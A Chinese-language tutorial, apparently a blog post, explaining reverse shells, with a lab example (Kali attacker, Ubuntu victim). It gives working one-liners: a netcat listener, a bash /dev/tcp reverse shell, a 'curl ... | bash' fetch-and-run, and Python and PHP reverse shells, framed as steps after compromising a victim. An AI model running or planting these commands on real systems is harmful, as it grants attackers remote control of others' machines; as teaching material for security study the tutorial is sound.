反弹Shell

概述

反弹shell(reverse shell)就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

反弹shell通常适用于如下几种情况:

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
  • 目标机端口被占用。
  • 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
  • ...

对于以上几种情况,我们是无法利用正向连接的,要用反向连接。所谓正向连接,就是攻击机去连目标机。那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell,如果具有python环境,那我们可以利用python反弹shell。如果具有php环境,那我们可以利用php反弹shell。

基本流程

攻击者在自己的服务器上执行:

shell 复制代码
nc -lvnp 8888

攻击者拿下受害者的权限后,在受害者的机器上执行:

shell 复制代码
bash -i > /dev/tcp/攻击者的服务器ip/攻击者监听的端口(这里就是8888) 0>&1 2>&1

例子

机器 ip地址
攻击机 kali 192.168.25.129
受害者 ubuntu 192.168.25.131

攻击机执行nc -lvnp 8888开启监听:

受害者执行bash -i > /dev/tcp/192.168.25.129/8888 0>&1 2>&1

攻击机回显:

可以看到已经成功反弹了shell,在kali这台机器上的命令提示符已经变成了ubuntu那台机器的了。查看ip地址发现正常回显受害者的ip。

解读

(1)nc -lvnp 8888

上面的nc命令也就是NetCat,在网络工具中有"瑞士军刀"美誉,其有Windows和Linux的版本。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。

其常用参数如下:

  • -l 使用监听模式,管控传入的资料。
  • -v 显示指令执行过程。
  • -n 直接使用IP地址,而不通过域名服务器。
  • -p <通信端口> 设置本地主机使用的通信端口。

(2)bash -i

-i interactive。即产生一个交互式的shell(bash)。

(3) /dev/tcp/IP/PORT

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是bash实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

(4)0>&1 2>&1

命令 说明
command > file 将输出重定向到 file。
n > file 将文件描述符为 n 的文件重定向到 file。
n >& m 将输出文件 m 和 n 合并。

一般情况下,每个 Unix/Linux 命令运行时都会打开三个文件:

  • 标准输入文件(stdin):stdin的文件描述符为0,Unix程序默认从stdin读取数据。
  • 标准输出文件(stdout):stdout 的文件描述符为1,Unix程序默认向stdout输出数据。
  • 标准错误文件(stderr):stderr的文件描述符为2,Unix程序会向stderr流中写入错误信息。

各种脚本反弹shell

curl配合bash

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

shell 复制代码
bash -i > /dev/tcp/服务器的ip/8888 0>&1 2>&1

并开启8888端口的监听:nc -lvnp 8888。然后再目标机上执行如下,即可反弹shell:

javascript 复制代码
curl xxx.xxx.xxx.xxx|bash

python

当目标主机上有python环境时,我们可以用Python来反弹shell。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

攻击机开启本地监听:

shell 复制代码
nc -lvnp 8888

目标机主动连接攻击机:

shell 复制代码
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

当目标主机上有php环境时,我们可以用php来反弹shell。

攻击机开启本地监听:

shell 复制代码
nc -lvnp 8888

目标机主动连接攻击机:

shell 复制代码
php -r '$sock=fsockopen("xxx.xxx.xxx.xxx",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
相关推荐
币之互联万物2 小时前
AQUA爱克泳池设备入驻济南校园,以品质筑牢游泳教育安全防线
安全
Linux运维老纪5 小时前
运维之 Centos7 防火墙(CentOS 7 Firewall for Operations and Maintenance)
linux·安全·centos·云计算·运维开发·火绒
360安全应急响应中心5 小时前
基于 RAG 提升大模型安全运营效率
安全·aigc
EasyNVR5 小时前
国标GB28181视频监控平台EasyCVR保驾护航休闲娱乐“九小场所”安全运营
网络·安全
Ai野生菌5 小时前
工具介绍 | SafeLLMDeploy教程来了 保护本地LLM安全部署
网络·人工智能·安全·大模型·llm
DevSecOps选型指南6 小时前
浅谈软件成分分析 (SCA) 在企业开发安全建设中的落地思路
安全·开源治理·软件成分分析·sca·软件供应链安全工具
cjchsh6 小时前
春秋云境(CVE-2023-23752)
安全
【云轩】7 小时前
《混沌钟的RISC-V指令集重构》
网络·安全
EasyGBS7 小时前
视频设备轨迹回放平台EasyCVR打造视频智能融合新平台,驱动智慧机场迈向数字新时代
网络·人工智能·安全·音视频